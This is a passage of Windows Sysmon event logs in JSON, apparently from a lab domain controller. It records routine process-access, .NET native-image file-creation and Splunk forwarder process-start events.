C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.182","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010179D0F00}","TargetProcessId":"3388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:33.245\r\nProcessGuid: {90617006-4315-5F2D-0000-0010179D0F00}\r\nProcessId: 3388\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d3c-0\\System.Web.ApplicationServices.dll\r\nCreationUtcTime: 2020-08-07 12:03:33.245","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:33.245","ProcessGuid":"{90617006-4315-5F2D-0000-0010179D0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d3c-0\\System.Web.ApplicationServices.dll","CreationUtcTime":"2020-08-07 12:03:33.245","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.291\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010A6A00F00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.291","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010A6A00F00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010A6A00F00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010A6A00F00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-0010A6A00F00}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-0010A6A00F00}","TargetProcessId":"5060","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00105FA40F00}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.447","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00105FA40F00}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00105FA40F00}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00105FA40F00}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:33.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4315-5F2D-0000-00105FA40F00}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:33.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4315-5F2D-0000-00105FA40F00}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:36.541\r\nProcessGuid: {90617006-4315-5F2D-0000-00105FA40F00}\r\nProcessId: 2980\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ba4-0\\System.Web.DataVisualization.dll\r\nCreationUtcTime: 2020-08-07 12:03:36.541","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:36.541","ProcessGuid":"{90617006-4315-5F2D-0000-00105FA40F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\ba4-0\\System.Web.DataVisualization.dll","CreationUtcTime":"2020-08-07 12:03:36.541","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nProcessGuid: {90617006-4318-5F2D-0000-00107AA90F00}\r\nProcessId: 4180\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","ProcessGuid":"{90617006-4318-5F2D-0000-00107AA90F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 